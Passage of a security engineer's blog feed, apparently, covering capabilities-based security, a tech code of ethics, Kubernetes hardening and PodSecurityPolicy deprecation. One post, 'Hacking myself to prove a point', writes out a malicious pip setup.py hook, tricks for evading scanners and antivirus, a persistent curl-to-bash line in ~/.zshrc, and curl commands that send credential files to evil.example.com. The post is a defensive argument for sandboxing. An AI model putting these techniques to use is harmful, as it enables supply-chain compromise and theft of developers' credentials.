allowing additional accessibility vectors".</p> If you want to prevent that from being abused, NIST's recommendations in that document basically amount to "build an enormous, mature security organization". That implicitly assumes everyone keeps the "business as usual" way of installing and running third party software. It doesn't have to be this way.</p> The (quite ambitious) solution</h2> We should run software in a way where we don't really care if it has a vulnerability, because it will happen</strong>. Just like how no good auth system relies on user-memorized passwords alone anymore; we have 2FA and passkeys now which remove that human element as part of their design. That same energy should have been applied in the wake of the SolarWinds hack, but it still feels like "security by design" is a fringe belief.</p> One idea that could help is capabilities-based security</a>. The idea is that by default, running software can't do much of anything unless it is given an unforgeable "capability" to do things like access files, the network, particular syscalls, etc. This is fairly incompatible with UNIX and Windows because (aside from root/administrator access), programs have the permission to do a LOT of damage by default, and removing any of those permissions would break a lot programs. If you want security by design, backwards-compatibility is a sacrifice you'll have to make.</p> Capabilities-based security isn't easy to implement. Some weaknesses I've found in the wild include:</p> Making capabilities too coarse-grained, like having a general "write/edit" permission with no separate "create" or "append" permission, meaning your backup tool is still ripe for a ransomware attack.</li> Making the default capabilities too permissive, like Docker's default seccomp rules which prioritized compatibility over security.</li> Making fine-grained capabilities that actually imply other capabilities, like Deno's "--allow-run" permission being equal to "--allow-all"</a>. Or Kubernetes' "create pod" permissions implying "get secret" permissions</a>.</li> Packaging software alongside the capabilities that constrain it, like RPMs with systemd units that include sandboxing. A supply chain attack could easily remove the sandboxing. You need something like what browser extensions do where new permissions require explicit approval from the user.</li> Making capabilities apply to too-course of a boundary, like giving one set of capabilities to a complex, multi-threaded process that includes a lot of third-party code for instance. Any sub-component of that process could be tricked into abusing one of its capabilities. Language-based capabilities</a> have the edge here.</li> Lacking tools for knowing which capabilities a given program needs. This kills adoption, since not many developers could tell you exactly which kernel features their code uses off the top of their head.</li> </ul> If we could agree on a good, standardized capabilities model for software and everyone starts using it, we will have reached security Nirvana.</p> We can keep the benefits of huge dependency trees without the risks!</li> IT organizations can spend significantly less time on remediating vulns since the vast majority of vulns will not be exploitable!</li> Lateral movement becomes nearly improbable!</li> We don't have to hold OSS communities to rigorous security standards that even well-funded companies struggle with!</li> And more!</li> </ul> Back to reality</h2> We're still talking about something that's probably a decade away or more, but given the benefits and the constant string of high-profile hacks like the SolarWinds hack, I'm just upset the ball still</em> isn't rolling in the right direction 3 years later.</p> But history shows it's not impossible, at least not if you're the richest company on the planet</a>. Over time (particularly since iOS 6</a>), less and less permissions have been granted to iOS apps by default, instead requiring apps to request those permissions from users explicitly. It's still not perfect (like access to contacts still being a binary "yes/no"), but every permission clawed back from the default set required breaking backwards compatibility, a phrase rarely uttered in regard to the Linux and Windows kernels.</p> If you have been an iOS developer since 2012, I'm sorry you had to go through that, but your extra work has been profoundly important to the privacy and security of mobile OSes. I'd like to see that same principled</a> energy brought to desktop and server OSes. If we don't, the next SolarWinds-like hack is just around the corner.</p> Self-attesting to a code of ethics 2023-05-20T00:00:00+00:00 Unlike many other industries like doctors, real estate agents, lawyers, social workers, etc. the tech world doesn't have to abide by any particular code of ethics. We can argue all we want about if such a thing should be required or what should be in it, but I think clearly something</em> is better than the nothing</em> we have today.</p> In most of the US at least, those professions I mentioned have state-recognized organizations which are legally empowered to regulate members of that profession, and they typically mandate a code of ethics. Examples:</p> North Carolina Real Estate Commission</a> List of actions for which licensees can be disciplined</a></li> </ul> </li> North Carolina Social Work Certification and Licensure Board</a> Ethical guidelines</a></li> </ul> </li> </ul> I'm not qualified to say whether either group is effective at enforcing those ethical codes, but I sure am glad they have something</em>. Something we can hold people to in case they act negligently or maliciously in their jobs.</p> Consider how the median piece of software today is a user-hostile, unmaintained piece of ad-tech with your choice of dark patterns, vulnerabilities, or opaque pricing topped with inaccessibility. This is not an acceptable foundation on which to build the next generation of technology. Given the lack of official standards or ethics for 70+ years of computing history, should we be surprised this is the case? For tech workers, there's no oath to swear, no book to sign your name in, no state licensing agency to register with. We're all on our own here, and we're not doing a great job on our own.</p> About the closest thing to a relevant code of ethics I've found is the ACM Code of Ethics</a>. If you've never truly understood the Voltaire quote "common sense is not so common" before, you'll understand what it means after skimming the section titles and thinking about people working in certain specific tech sectors 😬</p> With that said, I think we should all self-attest to following some specific code of ethics. Is this performative virtue signalling? Oh absolutely. But the reason why "performative" and "virtue signalling" have negative connotations is because of people who are all talk and no action. Being "performative" is crucial for raising awareness of important subjects. What are protests if not performative? Maybe this is all symbolic, but what long-lived institution of ethics exists today that doesn't benefit from its symbolism? The real test is whether you'll actually follow the code of ethics for real, and maybe the threat of looking like a huge hypocrite will be a helpful incentive.</p> So here goes: I personally think it's a good idea to consider ethics in all things relating to my profession in tech. To that end, I plan to follow the ACM Code of Ethics</a>. It's not infallible, and neither am I, but that's no excuse to just give up.</p> As a result of saying that, you now have power over me. I have no license to be revoked, but if I wrong you, you can hold me to my word. Like a service level agreement for interacting with me professionally. This one-way power dynamic feels kinda weird, right? Well, you can fix that by also self-attesting to a professional code of ethics. Doesn't matter which one.</p> What more do you want, a badge to put in your READMEs? God no.</p> Hacking myself to prove a point 2023-01-21T00:00:00+00:00 If you didn't hear, CircleCI recently released their report on a December 2022 security incident</a>. What stood out to me is that CircleCI seems to be doing all the "normal" security things: SSO with 2FA, endpoint protection, auditing/logging, encryption at rest, etc. But they still got breached. I think this speaks to the unfortunate state of the modern-day security industry. It's a thousand times easier to sell some pithy software tool that checks a compliance box than it is to sell a real security transformation.</p> To me, one of the central security weaknesses companies have is ignoring local malware, which is exactly how the CircleCI hack started. People consider local malware to be "game over" and just give up on "defense in depth". Both Hashicorp Vault</a> and Google Chrome</a> have essentially stated they don't care about protecting from local malware.</p> I believe that this mindset of ignoring local malware 1) underestimates how easy it is to do, and 2) prevents the whole security industry from focusing on this problem. To prove this, I'll try to hack myself like I'm that poor CircleCI engineer whose laptop was exploited as the first step in the attack.</p> NOTE: I'm not actually targeting my setup at my current or past employers. I'm targeting a theoretical engineer that doesn't exist, but is similar to an average software engineer. My examples will use macOS but this applies to Windows and Linux just as easily.</p> </blockquote> Step 1: Get onto a developer's laptop</h2> Prior to the rise of various kinds of server-side sandboxing (containers, jails, WASM, micro VMs), remote code execution was always game-over for a server. Nowadays, you might have remote code execution inside one of dozens on microservices, but with good egress restrictions and mTLS, that might be the end of your exploit chain.</p> However for some tragic reason, the tooling for sandboxing on desktop operating systems is stuck in the dark ages. If I can just execute code on a developer's laptop, I can steal SSH keys, steal cookies, hijack VPN sessions, install C2 servers, and more. And executing code on a developer's laptop is pretty easy these days.</p> To start, I'll make a malicious Python package that will execute arbitrary code when installed.</p> mkdir hack </span>cd hack/ </span>vim setup.py </span></code></pre> setup.py:</code></p> import </span>setuptools </span>from </span>setuptools.command.install </span>import </span>install </span> </span> </span>class </span>Install</span>(</span>install</span>): </span> </span>def </span>run</span>(</span>self</span>): </span> </span>print</span>("</span>********************* pwned ********************</span>") </span> install.</span>run</span>(</span>self</span>) </span> </span>setuptools.</span>setup</span>( </span> </span>name</span>="</span>malicious</span>", </span> </span>version</span>="</span>1.0.0</span>", </span> </span>install_requires</span>=[], </span> </span>cmdclass</span>={'</span>install</span>': Install} </span>) </span></code></pre> Now we install the package, with extra verbosity just to see our "pwned" print statement:</p> $ pip install -v . </span>Using pip 22.3.1 from /hack/venv/lib/python3.10/site-packages/pip (python 3.10) </span>Processing /hack </span>... </span> running bdist_wheel </span> running build </span> installing to build/bdist.macosx-12.3-x86_64/wheel </span> running install </span> ******************** pwned ********************** </span> running install_egg_info </span> running egg_info </span>... </span>Successfully installed malicious-1.0.0 </span></code></pre> Alright! Now we just need our target developer to install this package. This is the only hard part about our hack, but we have a lot of options:</p> Typo-squatting a popular package</a></li> Registering someone's expired domain</a> that they used to use for email, then issuing password resets</li> Tricking a popular package</a> to include your package as a dependency</li> Paying to own a popular package</li> Forking an abandoned project and telling everyone to migrate to yours</li> Good ol' fashioned phishing</li> and more</li> </ul> Avoiding detection</h3> With our malicious package, it would be easy to exfiltrate files, but some nosy person will probably notice a subprocess.run(['curl', 'evil.example.com'...])</code> line on our file. DataDog publishes a tool called GuardDog</a> that will simulate our nosy person, who we can trivially trick.</p> Our current script does get noticed:</p> $ guarddog scan ./dist/malicious-1.0.0.tar.gz </span>Found 1 potentially malicious indicators in ./dist/malicious-1.0.0.tar.gz </span> </span>cmd-overwrite: found 1 source code matches </span> * Standard pip command overwritten in setup.py at malicious-1.0.0/setup.py:12 </span> setuptools.setup( </span> name="malicious", </span> version="1.0.0", </span> install_requires=[], </span> cmdclass={'install': Install} </span> ) </span></code></pre> But that's an easy fix. If we just assign the {'install': Install}</code> dictionary to a variable (like pytorch does</a>), we avoid detection:</p> setup.py:</code></p> ... </span>cmdclass = {'</span>install</span>': Install} </span> </span>setuptools.</span>setup</span>( </span> </span>name</span>="</span>malicious</span>", </span> </span>version</span>="</span>1.0.0</span>", </span> </span>install_requires</span>=[], </span> </span>cmdclass</span>=cmdclass </span>) </span></code></pre> $ guarddog scan ./dist/malicious-1.0.0.tar.gz </span>Found 0 potentially malicious indicators scanning ./dist/malicious-1.0.0.tar.gz </span></code></pre> Now let's try executing some more useful code than just a print statement, such as running a shell command:</p> def </span>run</span>(</span>self</span>): </span> subprocess.</span>run</span>(['</span>whoami</span>']) </span></code></pre> Uh oh, we've been caught:</p> $ guarddog scan ./dist/malicious-1.0.0.tar.gz </span>Found 1 potentially malicious indicators in ./dist/malicious-1.0.0.tar.gz </span> </span>code-execution: found 1 source code matches </span> * setup.py file executing code at malicious-1.0.0/setup.py:8 </span> subprocess.run(['whoami']) </span></code></pre> But we can bypass that easily as well. The thing about automated scanners is that they always have to balance false positives, which makes them fall apart when faced with a dedicated attacker. GuardDog can detect "common obfuscation methods", but I guess not getattr()</code>. The following code obtains the function subprocess.run()</code> via the string run</code> instead of using the dotted syntax, then executes it like normal:</p> def </span>run</span>(</span>self</span>): </span> </span>getattr</span>(subprocess, '</span>run</span>')(['</span>whoami</span>']) </span></code></pre> $ guarddog scan ./dist/malicious-1.0.0.tar.gz </span>Found 0 potentially malicious indicators scanning ./dist/malicious-1.0.0.tar.gz </span></code></pre> Great! Now we have the ability to execute arbitrary code (including subprocesses) on a developer's laptop.</p> Aside: Won't someone notice this malicious code on GitHub?</h3> It shocks me that people seem to blindly trust that the code you see in an open-source repo will match the version that you end up executing. I do wish GitHub offered some way of cryptographically attesting that fact, but I can simply change the code locally before publishing to pypi. The real source code will be in the .tar.gz</code> file uploaded to pypi, but do you really check that file for every package you download? Didn't think so. Maybe if you had a tool like guarddog to automate that, but as you can see that's easily circumventable.</p> Aside: My antivirus will catch your setup.py file!</h3> Let's fix that, shall we?</p> import </span>uuid </span> </span>with </span>open</span>(__file__, "</span>a</span>") </span>as </span>f: </span> f.</span>write</span>(</span>f</span>"</span>\n</span># </span>{</span>str</span>(uuid.</span>uuid4</span>())}") </span></code></pre> Now whenever setup.py executes, it will add a random string as a comment to the end of the file. This makes the sha256sum</code> of the file differ for every user. Your only hope now is if your antivirus manages to quarantine the file in the few milliseconds between when pip</code> downloads it and when it gets executed, which is unlikely.</p> Step 2: Getting persistence</h2> Since our end goal is bypassing SSO, we need to be able to execute our arbitrary code while the developer is logged in, which can be as small as a few minutes for really sensitive stuff. Just hoping setup.py executes during that window isn't likely, but we can gain persistence trivially.</p> GuardDog will notice if we create a file and mark it executable, and many OSes make running new daemons a privileged operation. So a good compromise would be to append our malicious code to an existing script that the user regularly executes (and rarely reads) while they're logged into production. There are lots of options here, but I think ~/.zshrc</code> (or equivalent) is a good one. That executes every time someone spawns a new terminal on macOS. The last time I touched the file was 2 months ago, so that's a lot of time to stay undetected.</p> Let's now gain persistence, which I am just now realizing doesn't even require subprocess</code>, we can just write to the file directly:</p> def </span>run</span>(</span>self</span>): </span> </span>with </span>open</span>(</span>f</span>"{os.environ['</span>HOME</span>']}</span>/.zshrc</span>", "</span>a</span>") </span>as </span>f: </span> f.</span>write</span>("</span>\n</span>curl http://evil.example.com > /dev/null 2>&1 \| bash \|\| true</span>") </span> install.</span>run</span>(</span>self</span>) </span></code></pre> $ guarddog scan ./dist/malicious-1.0.0.tar.gz </span>Found 0 potentially malicious indicators scanning ./dist/malicious-1.0.0.tar.gz </span></code></pre> Great! Now we have the ability to execute arbitrary code frequently, with a high likelihood that our code will execute while the victim is logged in.</p> Step 3: Pivoting to prod</h2> The world is now our oyster. Without some kind of sandboxing in place, we can access the vast majority of important files on the file system, including SSH keys, ~/.kube/config</code>, cloud credentials, and browser cookies. It just depends on what we decide to put into that f.write()</code> call.</p> Here's an example of stealing a cookie:</p> $ cd ~/Library/Application\ Support/Firefox/Profiles/ </span># There may be multiple profiles, just pick the first one </span>$ cd $(ls \| head -n 1) </span> </span># Database will probably be locked if the browser is open, so just copy it </span>$ cp cookies.sqlite unlocked-cookies.sqlite </span>$ sqlite3 cookies.sqlite </span>sqlite> SELECT name,value FROM moz_cookies WHERE host="news.ycombinator.com"; </span>user\|mac-chaffee&PCeezf4hhaH5S7BRsTtX/hVUQ3SQb9IpFU </span> </span># Now to peek at an auth-protected page using that cookie: </span>curl -i -SsLH 'Cookie: user=mac-chaffee&PCeezf4hhaH5S7BRsTtX/hVUQ3SQb9IpFU' 'https://news.ycombinator.com/upvoted?id=mac-chaffee' </span></code></pre> I was surprised to see FireFox does nothing to protect cookies on disk, even if you sign into FireFox Sync. At least Chrome encrypts them using macOS Keychain, but you can bypass that too</a>. Surely Safari is properly using macOS security features to protect cookies, right? Wrong. You can apparently modify Safari with malicious code without invalidating its code signature</a>. It's telling that MITRE's page on cookie theft</a> has no real solution to this problem either.</p> Here's an example of stealing my cloudflare credentials:</p> curl --data-binary=@~/Library/Preferences/.wrangler/config/default.toml http://evil.example.com </span></code></pre> Or my Kubernetes credentials:</p> curl --data-binary=@~/.kube/config http://evil.example.com </span></code></pre> Or my gcloud credentials:</p> curl --data-binary=@~/.config/gcloud/credentials.db http://evil.example.com </span></code></pre> Not even 2FA will save me here. Even if some of those sites are VPN-protected or they tie the credentials to a specific source IP, that's not an issue for an attacker. They can just execute the API calls directly from my computer through the VPN.</p> Aside: My outbound firewall (LittleSnitch et. al.) will catch you!</h3> That's only true if I exfiltrate the credentials or if I try to download a "stage 2" payload instead of directly including my exploit code in setup.py. I bet you already have a rule allowing your terminal application to access your cloud accounts anyway.</p> I considered editing the LittleSnitch config files manually, but to their credit, the config files are owned by root (thus requiring a password to read/edit). Even the new CLI won't let you do anything unless you are root.</p> Another way attackers can circumvent something like LittleSnitch is to proxy the traffic through a host you have already allowed, like maybe I use your company's internal HTTP proxy, or maybe I upload your credentials to an S3 bucket (you allow s3.amazonaws.com, right?). I can perform recon on your computer to determine what kinds of precautions I can/should take.</p> Potential Solutions</h2> I think a true solution to this kind of hack would be: proper sandboxing for desktop operating systems with a user experience that isn't built by masochists (looking at you SELinux).</p> MacOS Mojave added a feature</a> which blocks access to certain folders, but frustratingly limited the feature to folders like Documents, Pictures, etc., not ~/.kube/config</code> for instance. Wouldn't stop this attack, but it's a step in the right direction.</p> MacOS has also started requiring Mac App Store apps to use the "app sandbox</a>", which is kinda the same thing but also includes camera, microphone, etc. Again, wouldn't stop the attack I described above because your terminal app will be the one executing both your code and the malicious code. And no one makes a good sandboxed terminal app anyway.</p> MacOS does have a CLI utility which allows you to execute commands inside of an "app sandbox". Apple has deprecated the CLI and definitely doesn't want you to use it, but with a wrapper script called "sb"</a> and some custom policies, it can be manageable:</p> $ sb -- pip install . </span>... </span> × python setup.py bdist_wheel did not run successfully. </span> │ exit code: 1 </span> ╰─> [7 lines of output] </span> running bdist_wheel </span> running build </span> warnings.warn( </span> installing to build/bdist.macosx-12.3-x86_64/wheel </span> running install </span> error: [Errno 1] Operation not permitted: '/Users/machaffe/.zshrc' </span> [end of output] </span>... </span></code></pre> Nix has a feature</a> where package builds are executed inside a restricted sandbox. If you installed my pip package via Nix, sounds like you'd be totally safe. Well, assuming you enabled that feature, which is not enabled by default on macOS.</p> There are tools</a> that make it easier to develop entirely in containers, but it can be very challenging to get your editor/IDE to play nice with these. There will also be places where you'll have to relax the security boundary, like allowing access to SSH keys to run an ansible playbook. Or using a SaaS API key to process some data in a Jupyter notebook.</p> I met a Googler who said everyone they know uses some internal version of Google Cloud Shell Editor</a>, a cloud based IDE. I don't think this solves the problem since you are essentially working in a VM where you pip install</code> stuff into the same VM that has access to deploy stuff to Google Cloud:</p> mac@cloudshell:~$ gcloud projects list </span><prompt pops up to authorize gcloud, which is granted for the entire session> </span>mac@cloudshell:~$ pip install -v . </span>Using pip 20.3.4 from /usr/lib/python3/dist-packages/pip (python 3.9) </span>... </span> running install </span> ********************** pwned ********************** </span>... </span></code></pre> I think all these tools are approaching the problem from the wrong direction. Why lock-down every app on my computer or change my whole workflow just to protect a few security-sensitive files? One feature I'd like is for applications like gcloud</code> or kubectl</code> to easily tell the operating system "I'm going to create a file called credentials.txt</code>, and only I should have access to it". The macOS Keychain is supposed to be that, but it's not difficult to bypass the Keychain ACLs</a>, even for signed binaries.</p> Another approach would be heavily restricting access to production. You can't avoid accessing prod entirely due to emergencies, but you can get close. You'd need some kind of auditing jump box like CyberArk</a> or Teleport</a> with hardware 2FA and super short sessions. You'd only use this for emergencies, so you should probably enable that "email/IM my entire team if someone accesses prod" feature too. But to be truly safe from local malware, you'd still want ways to stop session hijacking, key logging, and screen grabbing. Not sure if the tech is there to do this perfectly, so you're still stuck with trying to fend off local malware with crappy tools.</p> Conclusions</h2> Local malware sucks</em>. It's too easy to get infected and too easy for attackers to avoid detection, even though local malware has basically been around about as long as computers have existed. I'm disappointed in the software security industry for spending decades chasing flashy, profitable products instead of actually improving security. You know what? I'm starting to suspect this whole idea of a society dedicated to profit-seeking above all else is not such a good idea...</p> Know your carrying capacity 2022-10-08T00:00:00+00:00 Take a second to think through all the "stuff" you have to personally maintain at your job. Here are a few ideas:</p> Physical servers or virtual machines</li> Internal libraries</li> A handful of microservices</li> Some test cases you wrote</li> CI/CD stuff</li> Helper scripts</li> Open-source repos</li> Security/legal compliance</li> Software licenses</li> All of the tools on your computer (IDE+extensions, shell+extensions, CLI tools, SSH/GPG keys, etc.)</li> </ul> Some less obvious ones:</p> Membership in ActiveDirectory groups or equivalent</li> Membership in an email alias or chat group</li> A chatbot (including the one-click installable ones)</li> All those little no-code, IFTT-type things</li> Some internal wiki pages</li> Meeting series' or working groups</li> </ul> Depending on company size, pretty much any one of these bullet points could be someone's full-time job, but it's not uncommon to see one person having to do a little of all of these (I sure do).</p> I like to think of the collection of things that someone can reasonably maintain as their "carrying capacity</a></em>", to borrow the ecology term. If you take on more than your carrying capacity, something has to die (aka fall into disrepair). With modern software being so garbage, I think one big reason is that there are too many software professionals out there who don't know their carrying capacity.</p> Not knowing your carrying capacity can lead to:</p> Security issues. All software rots under the deluge of new CVEs these days.</li> Productivity issues. That helper script you abandoned had a bug that your co-worker had to fix without any context.</li> Usability issues. That microservice you never optimized is making your users mad (but just subtly enough so they don't think to file a bug report, and they experience slow websites all the time so it doesn't affect your bottom line, just slowly eats away at their psyche instead)</li> Trust issues. That working group you established (and later neglected) dis-incentivizes future engagement. See also the Google product graveyard</a>.</li> More fallout from turnover. When an over-capacity employee quits, they explode like a piñata filled with responsibilities that everyone else has to scoop up. Over-capacity employees also likely don't even know the full extent of the responsibilities they do have, meaning some of them just don't get picked up.</li> </ul> So hopefully this post can help avoid those things!</p> Odds are that YOU are part of the problem</h2> I'm not talking about people who have been pushed beyond their carrying capacity by other people. You don't need a ton of self-awareness to know when that's what's happening. But when you</em> push yourself</em> beyond your carrying capacity, you likely won't even notice. And since it's tough to notice (and since so much tech is under-maintained garbage), it's likely you are part of the problem!</p> Why is it hard to notice when you are beyond your carrying capacity? Well because you can't notice things deteriorating that you don't even actively/regularly think of. If you've worked somewhere for long enough, there's bound to be something you've forgotten about. So many of the building blocks of modern software simply can't alert you when they need maintenance. Documentation won't email you when it becomes obsolete. You won't get immediately sued for every lapse in compliance.</p> The solution</h2> All we can really do is to consciously think about our own carrying capacities whenever we take on a new task. Frequently re-visit that "list of things you have to personally maintain" in order to avoid blind spots. When you do this, you might be forced to jog your own memory by re-reading those docs or investigating that old VM. This has the (desireable) side-effect of taking up a lot of your time! If you are already responsible for so many things that you spend so much time re-checking them, you definitely can't take on new things!</p> All I ask is for just a little bit more conscientiousness when it comes to maintenance.</p> Under-documented Kubernetes Security Tips 2022-09-18T00:00:00+00:00 Securing Kubernetes is complex, so there are quite a few guides out there:</p> CIS Benchmarks for Kubernetes</a> (free account login required)</li> NSA/CISA Kubernetes Hardening Guidance</a></li> Kubernetes Pod Security Standards</a></li> Various</a>, other</a>, sources</a></li> </ul> Unfortunately, following all those guides and patching every CVE still might not be enough. There are some security practices which kinda don't fit into these guides, don't get reported as CVEs, and just exist in the minds of expensive consultants.</p> The fast proliferation of Kubernetes has meant that many more organizations are running Kubernetes without the personnel or the money to secure it properly. And yes, that includes you, "person who is primarily a developer, but deployed an GKE cluster 6 months ago while following the CIS benchmarks and hasn't looked at it since, thinking it's super secure because it's 'managed' by Google". Hopefully this collection of tips will help you out!</p> 1 - A secure cluster needs a secure organization</h2> This tip might be the hardest to hear for often-introverted software folks. You can't achieve excellent security though technology alone; you also need to deal with people</em>.</p> I went through ISO-27001/27002 compliance at a previous company, and that standard is mainly devoted to organizational changes. Since the ISO standards are super-expensive PDFs, here are just a few fair-use points:</p> Establish and enforce policies:</strong> There are open-source libraries</a> of Kubernetes-related policies, but your organization might need custom policies like "Public-facing Ingresses require a security review" or "Access to (some sensitive namespace) requires approval". And what do you do if someone violates the policy? Termination? Now you have to talk to HR. This stuff might even need to be someone's (or a team's) full-time job.</li> Implement segregation of duties:</strong> If there's valuable data in your cluster, you don't want to have a person with unfettered, un-audited access to a shared cluster-admin token (which is common).</li> Everyone needs security training:</strong> Multiple days need to be set aside to actually</em> learn about security. Not just your team, but also the dev team, PMs, and managers. No, reading this blog post does not count, but good question!</li> Periodically review everything:</strong> If you don't this can happen</a>.</li> Have an incident management plan:</strong> Preferably one that doesn't take three weeks</a>.</li> </ul> All of these points indicate that running Kubernetes clusters securely is absolutely not something you can "set and forget". You have to be constantly monitoring, patching, educating, documenting, and improving your security posture just to stay afloat.</p> 2 - The Kubernetes API has undocumented verbs and subresources</h2> Access to the Kubernetes API is very sensitive, but hard to do right. Roles and ClusterRoles are used to list which "resources" and "verbs" that someone/something can perform. Like The serviceaccount named 'runner' can 'create' (verb) 'pods' (resource)</code>.</p> But there is no complete list of verbs or subresources anywhere</em>. As a result, using a wildcard (</code>) in a Role is essentially undefined behavior: you could be granting users the ability to use these undocumented verbs/subresources.</p> One example is the escalate</code> verb on Roles. Accidentally granting this to a user allows them to create new Roles for themselves with more privileges than their existing Role. You might as well have just given them full admin access!</p> Another example is the pods/ephemeralcontainers</code> subresource and how it interacts with ValidatingWebhooks</a>. The pods/ephemeralcontainers</code> subresource allows users to create Ephemeral Containers</a> inside existing pods, but this new subresource could allow you to bypass ValidatingWebhooks that are designed to stop you from running privileged pods. At one point in time, Gatekeeper, Kyverno, and OpenShift SCCs were all vulnerable to this issue. OpenShift SCCs still are, so make sure no one has access to pods/ephemeralcontainers</code> (the default).</p> To sum up: pay very close attention to your Roles/ClusterRoles, avoid using wildcards, and watch out for new subresources/verbs in the patch notes. Kubernetes RBAC is a good-but-flawed system that is easy to mess up, and the tooling in this area is still quite immature.</p> 3 - Remember that Kubernetes is essentially remote-code-execution-as-a-service</h2> Let's say I create an API where anything you POSTed in the request body would be eval</code>'d server-side. That's how you should be thinking of Kubernetes, as "remote code execution as a service" (RCEaaS). Once you accept that, many important conclusions can be drawn:</p> I need to take authentication extremely seriously.</strong> Using ServiceAccount tokens is not enough to secure RCEaaS. I need to tie into a proper identity provider, maybe using OIDC</a>, maybe with 2FA.</li> I really need some kind of intrusion detection system.</strong> It's very difficult to get proper "defense in depth" for Kubernetes since one slip-up is game over (the attacker gains remote code execution). As a result, you at least need to know when you've been breached. Falco</a> is one example of a Kubernetes-native IDS.</li> Maybe I shouldn't put all my eggs in one basket.</strong> If one little mistake can lead to RCE, then running multiple clusters may help reduce the blast radius. But be careful: multi-cluster tooling can be complex, so make sure the added complexity isn't just increasing the attack surface for no reason.</li> </ul> With the popularity of Kubernetes and the backing of big companies with huge security teams, it's easy to be lulled into a false sense of security. Having the right mindset can help motivate you to take Kubernetes security as seriously as its RCE-aaS design demands.</p> Conclusions</h2> The goal of this post is to spread awareness of the depth that Kubernetes security can reach sometimes. As professionals, it's our duty to communicate the scope of new projects, including the security risks and the work required to mitigate them. All too often, I see this duty being neglected or offloaded to flashy security tools that don't solve the real issues. Because the real issue are often too organization-specific (section 1), too cutting-edge (section 2), or too abstract (section 3) to be documented anywhere.</p> The Fumbled Deprecation of PodSecurityPolicies 2022-05-08T00:00:00+00:00 In 2016</a>, Kubernetes v1.3 was released which included a new API type: PodSecurityPolicies (PSPs). The original design proposal</a> had the lofty goal of allowing cluster admins to restrict various Linux privileges to some Pods while still allowing other Pods to use them. PSPs filled an important security hole where having the ability to run pods could let you bypass every other security control in the cluster.</p> But in 2021, after 5 years of PSPs still being considered "beta", they were deprecated</a>. The maintainers had their reasons</a>, but in the year since this deprecation, I believe it was mismanaged for a number of reasons.</p> What are PodSecurityPolicies (PSPs)?</h2> Click to expand if you don't know what they are already</summary> The Official docs are here</a>, but PSPs are essentially yaml files that restrict some special permissions</a> that Pods can have such as allowed UIDs/GIDs, allowPrivilegeEscalation</code>, hostPath mounts, Linux Capabilities, etc. These permissions are extremely important to control since most any one of them could be used to break out of the container sandbox in some way.</p> Here's an example PSP that implements the CIS Benchmarks for Kubernetes:</p> apiVersion</span>: </span>policy/v1beta1 </span>kind</span>: </span>PodSecurityPolicy </span>metadata</span>: </span> </span>annotations</span>: </span> </span># https://docs.docker.com/engine/security/seccomp/ </span> </span>seccomp.security.alpha.kubernetes.io/allowedProfileNames</span>: </span>docker/default,runtime/default </span> </span>seccomp.security.alpha.kubernetes.io/defaultProfileName</span>: </span>runtime/default </span> </span>name</span>: </span>restricted </span>spec</span>: </span> </span># CIS 5.2.1 </span> </span>privileged</span>: </span>false </span> </span># CIS 5.2.2 </span> </span>hostPID</span>: </span>false </span> </span># CIS 5.2.3 </span> </span>hostIPC</span>: </span>false </span> </span># CIS 5.2.4 </span> </span>hostNetwork</span>: </span>false </span> </span># CIS 5.2.5 </span> </span>allowPrivilegeEscalation</span>: </span>false </span> </span># CIS 5.2.6 </span> </span>runAsUser</span>: </span> </span>rule</span>: </span>MustRunAsNonRoot </span> </span># CIS 5.2.7/8/9 </span> </span>requiredDropCapabilities</span>: </span> - </span>ALL </span> </span># Needed to stop hostPath mounts, surprisingly not mentioned in CIS Benchmarks </span> </span>volumes</span>: </span> - </span>configMap </span> - </span>emptyDir </span> - </span>projected </span> - </span>secret </span> - </span>downwardAPI </span> - </span>persistentVolumeClaim </span> - </span>ephemeral </span></code></pre> As far as I know, any Pod that is bound by that PSP will not be able to escape the container sandbox (except via a new zero-day, of course).</p> Once PSPs are enabled and you have deployed some policies (here's</a> how Kubespray does it), every new Pod will be checked against your PSPs. There are some complex rules about which policy is eventually applied to your pod (Pod SA, user's SA, prefer non-mutating, then alphabetical), but essentially your Pod will either be allowed, mutated-then-allowed, or blocked. To help debug, Pods will be given a kubernetes.io/psp</code> annotation which tells you which policy was applied.</p> Applications can ship their own PodSecurityPolicies if they need special permissions, such as this one</a> that ships with ingress-nginx.</p> </details> Reason 1: PSPs really weren't that bad</h2> While it's true there are usability/complexity concerns with PodSecurityPolicies, I believe this just reflects the fact that container security is a complex subject. Even after a year of dealing with this stuff, I'm still learning new and troubling ways that attackers can break out of containers.</p> That necessarily means there are a lot of knobs to tweak. In the video where sig-auth announces plans to deprecate PSPs, they say</a> ">90% of users care about 2-3 policies". I agree, but any policy mechanism should care a LOT about that last 10% since that's where the true, unavoidable complexity lies. This barrier to entry will always be present no matter what implementation we choose.</p> Additionally, three problems were explicitly mentioned in the sig-auth video: 1) flawed authentication model, 2) difficult to roll out, and 3) inconsistent/unbounded API. These problems don't come across to me as insurmountable technical obstacles. They just seem like regular constraints/tradeoffs that any complex software needs to handle. And indeed they acknowledge that one possible option is to fix these issues rather than deprecating PSPs all together.</p> So in summary, PodSecurityPolicies are definitely imperfect, but not so deeply flawed as to warrant deprecation. Yes, we'd have to break backwards compatibility to fix some imperfections (like enabling PSPs by default), but that should be expected from a "beta" API.</p> Reason 2: Replacements for PSPs weren't ready yet</h2> PSPs were officially deprecated with the release of Kubernetes v1.21, which happened on April 8th, 2021. While PSPs will not be removed</em> until v1.25, deprecation means that new clusters probably shouldn't use PSPs. But what should you use instead? That question did not have an official answer until more than a month later when the PSP Replacement KEP</a> was officially merged. But that was just a proposal. The implementation (Pod Security Admission controller</a>, PSA) wouldn't enter "beta" status until v1.23, 8 months</em> after PSPs were deprecated.</p> While that Pod Security Admission controller was the official, in-tree replacement, the deprecation announcement blog post</a> pointed to Gatekeeper</a> as an unofficial replacement. But Gatekeeper was missing an important feature that was present in PSPs: the ability to mutate pods. Coincidentally, Gatekeeper released</a> "alpha" support for mutation on the same day PSPs were deprecated, which didn't become "beta" for another 7 months</a> where it remains to this day.</p> So anyone deploying new clusters between April and November 2021 had to choose between deprecated software (PSPs) and alpha software (PSA or Gatekeeper) to fix this important security issue. I was one of those people, hence this rant :)</p> Reason 3: A de-facto standard is not a standard</h2> This is not the first time Kubernetes has left an important niche to third-party software. The Container Runtime Interface (CRI), Container Networking Interface (CNI), Container Storage Interface (CSI), Cloud Controller Manager (CCM), and the Ingress Controller interfaces have all been successful as far as I can tell. These interfaces allow for multiple vendors to supply compatible plugins that users can (more or less) switch between easily. But no such standard interface was created for PodSecurityPolicies, and so the ecosystem is now fragmented.</p> While Gatekeeper is officially "graduated" according to the CNCF 